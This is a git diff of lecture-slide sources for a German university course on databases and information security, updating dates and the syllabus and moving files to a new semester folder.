a/20231005/Shopping_online_with_bank_card.jpg b/20241002/Shopping_online_with_bank_card.jpg similarity index 100% rename from 20231005/Shopping_online_with_bank_card.jpg rename to 20241002/Shopping_online_with_bank_card.jpg diff --git a/20231005/Zeichen_123.pdf b/20241002/Zeichen_123.pdf similarity index 100% rename from 20231005/Zeichen_123.pdf rename to 20241002/Zeichen_123.pdf diff --git a/20231005/computer-arbeitsplaetze-lores.jpg b/20241002/computer-arbeitsplaetze-lores.jpg similarity index 100% rename from 20231005/computer-arbeitsplaetze-lores.jpg rename to 20241002/computer-arbeitsplaetze-lores.jpg diff --git a/20231005/computer-arbeitsplaetze.jpg b/20241002/computer-arbeitsplaetze.jpg similarity index 100% rename from 20231005/computer-arbeitsplaetze.jpg rename to 20241002/computer-arbeitsplaetze.jpg diff --git a/20231005/dbms-ohne-computer.jpg b/20241002/dbms-ohne-computer.jpg similarity index 100% rename from 20231005/dbms-ohne-computer.jpg rename to 20241002/dbms-ohne-computer.jpg diff --git a/20231012/dbs-20231012.pdf b/20241002/dbs-20241002.pdf similarity index 86% rename from 20231012/dbs-20231012.pdf rename to 20241002/dbs-20241002.pdf index 35189610f9e23f5b18b599d2d51f592c0eef50b5..d9af4a518970f60eb7230f9413bf8293aea08a02 100644 Binary files a/20231012/dbs-20231012.pdf and b/20241002/dbs-20241002.pdf differ diff --git a/20231005/dbs-20231005.tex b/20241002/dbs-20241002.tex similarity index 98% rename from 20231005/dbs-20231005.tex rename to 20241002/dbs-20241002.tex index ff938d18847f7546ff553fd02616f792af56d5cf..d004292f6b92ff3e25a5f8fac22c9cc628690a26 100644 --- a/20231005/dbs-20231005.tex +++ b/20241002/dbs-20241002.tex @@ -1,5 +1,5 @@ -% dbs-20231005.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski +% dbs-20241002.pdf - Lecture Slides on Databases and Information Security +% Copyright (C) 2023, 2024 Peter Gerwinski % % This document is free software: you can redistribute it and/or % modify it either under the terms of the Creative Commons @@ -37,17 +37,17 @@ \title{Datenbanken und Datensicherheit} \author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{5.\ Oktober 2023} +\date{2.\ Oktober 2024} \begin{document} \maketitleframe -\sectionnonumber{Vorab: Online-Werkzeuge} +\nosectionnonumber{Vorab: Online-Werkzeuge} \begin{frame} - \showsectionnonumber + \shownosectionnonumber \begin{itemize} \item Diese Veranstaltung findet \textbf{in Präsenz} statt.\\ @@ -381,9 +381,12 @@ Kurzeinführung: Kryptographie \item Kryptographie in der Praxis:\\ - Passwörter, Verschlüsselung, Signaturen - \item + Passwörter, Verschlüsselung, Signaturen,\\ Schlüssel-Infrastrukturen + \item + Netzwerksicherheit + \item + Sicherheit von Web-Anwendungen \item Datenschutz \end{itemize} @@ -404,10 +407,12 @@ Praxiserfahrung mit Unix und TCP/IP} \item Selbstbau eines einfachen DBMS - \item - Sicherheitsprüfung ("`Hacking"') eines Online-Shops +% \item +% Sicherheitsprüfung ("`Hacking"') eines Online-Shops \item Selbstbau einer prototypischen, sicheren Datenbankanwendung + \item + E-Mail-Verschlüsselung % \visible<2->{\item[\boldmath$\infty\kern-1.18em\infty\kern-1.18em\infty$.] % Selbstbau einer praxistauglichen, sicheren Datenbankanwendung} \end{enumerate} @@ -417,8 +422,7 @@ \bigskip - \visible<2->{\textbf{Statt Klausur: Projektaufgabe}\\ - Selbstbau einer praxistauglichen, sicheren Datenbankanwendung} + \textbf{Prüfungsleistung:} Klausur \vfilll \underconstruction @@ -671,8 +675,6 @@ \end{frame} -\iffalse - \begin{frame} \showsubsection @@ -937,6 +939,8 @@ \end{frame} +\iffalse + \begin{frame}[fragile] \showsubsection @@ -1202,8 +1206,6 @@ \end{frame} -\fi - \nosectionnonumber{\inserttitle} \begin{frame} @@ -1243,4 +1245,6 @@ \end{frame} +\fi + \end{document} diff --git a/20231005/logo-hochschule-bochum-cvh-text-v2.pdf b/20241002/logo-hochschule-bochum-cvh-text-v2.pdf similarity index 100% rename from 20231005/logo-hochschule-bochum-cvh-text-v2.pdf rename to 20241002/logo-hochschule-bochum-cvh-text-v2.pdf diff --git a/20231005/logo-hochschule-bochum.pdf b/20241002/logo-hochschule-bochum.pdf similarity index 100% rename from 20231005/logo-hochschule-bochum.pdf rename to 20241002/logo-hochschule-bochum.pdf diff --git a/20231005/online-shop-lores.jpg b/20241002/online-shop-lores.jpg similarity index 100% rename from 20231005/online-shop-lores.jpg rename to 20241002/online-shop-lores.jpg diff --git a/20231005/online-shop.jpg b/20241002/online-shop.jpg similarity index 100% rename from 20231005/online-shop.jpg rename to 20241002/online-shop.jpg diff --git a/20231005/pgslides.sty b/20241002/pgslides.sty similarity index 100% rename from 20231005/pgslides.sty rename to 20241002/pgslides.sty diff --git a/20231005/unix-20231005.txt b/20241002/unix-20241002.txt similarity index 86% rename from 20231005/unix-20231005.txt rename to 20241002/unix-20241002.txt index c74f864453e2f49d4b9abbf101dc2c98e0562ef8..c047e12899e08fbfa434d68927084c25056b210b 100644 --- a/20231005/unix-20231005.txt +++ b/20241002/unix-20241002.txt @@ -1,7 +1,7 @@ Unix-Rechner: - GNU/Linux: Shell öffnen - *BSD: Shell öffnen - - MacOS: Spotlight-Search: "Terminal" + - MacOS: Apfel+T ("Terminal") MS-Windows: - Windows Subsystem for Linux (WSL) diff --git a/20231005/zentraler-computer-lores.jpg b/20241002/zentraler-computer-lores.jpg similarity index 100% rename from 20231005/zentraler-computer-lores.jpg rename to 20241002/zentraler-computer-lores.jpg diff --git a/20231005/zentraler-computer.jpg b/20241002/zentraler-computer.jpg similarity index 100% rename from 20231005/zentraler-computer.jpg rename to 20241002/zentraler-computer.jpg